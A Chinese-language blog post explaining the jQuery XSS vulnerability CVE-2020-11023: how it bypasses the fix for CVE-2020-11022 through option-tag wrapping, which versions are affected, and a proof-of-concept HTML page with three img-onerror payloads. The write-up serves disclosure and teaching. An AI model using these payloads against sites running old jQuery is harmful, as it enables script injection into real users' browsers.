Jquery XSS漏洞(CVE-2020-11023)

本文详细介绍了jQuery的CVE-2020-11023跨站脚本(XSS)漏洞,包括漏洞的成因、影响范围及如何利用。修复CVE-2020-11022的尝试未能完全解决问题,因为某些HTML标签如`<option>`在特定情况下仍可能导致XSS攻击。利用漏洞的payload展示了如何绕过防护,通过插入带有恶意代码的`<option>`标签触发XSS。受影响的jQuery版本为1.2.0到3.5.0。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞详情

针对CVE-2020-11022漏洞,jQuery Team进行了修复。修复手段为将$.htmlPrefilter()方法替换为标识函数,因此传递的HTML字符串现在不再经过htmlPrefilter函数处理。但是这个修复方法仍有一些手段可以绕过,CVE-2020-11023就是针对CVE-2020-11022的绕过。

漏洞影响

V 1.2.0 <= jquery < V 3.5.0

漏洞详情

绕过使用的是另一个特性,某些特殊的标签在经过html()方法处理时,会由于HTML的特性或浏览器的bug而使得这些标签被移除。

 

option就是这些特殊标签之一,我们知道option 元素通过位于 select 元素内部来构造一个选择列表,但如果没有select元素,option会被移除。为了解决这个bug,如果传入参数的第一个元素为option,jQuery会新增<select multiple='multiple’>和</select>。

 

所以可以构造如下payload:

<option><style></option></select><imgsrc=x onerror=alert(3)></style>

 

经过处理会变为:

<select multiple='multiple'><option><style></option></select><imgsrc=x onerror=alert(3)></style></select>

 

根据HTML从前往后解析的顺序,会先解析一个<select>标签,且<select>不允许将大部分HTML标签包裹其中,导致<style>被忽略,而后识别<img>标签从而xss。

漏洞利用

image.png

html页面代码如下:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
    <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.js"></script>
</head>
<body>
<script>
function test(n,jq){
    sanitizedHTML = document.getElementById('poc'+n).innerHTML;
    if(jq){
        $('#div').html(sanitizedHTML);
    }else{
        div.innerHTML=sanitizedHTML;
    }
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>

<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=x onerror=alert(1)> 
</xmp>

<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=x onerror=alert(2)>">
</xmp>

<h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=x onerror=alert(3)></style>
</xmp>

<div id="div"></div>
</body>
</html>

参考:

https://mp.weixin.qq.com/s/QW5v5d7829m0Pz6AA6_XPQ

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值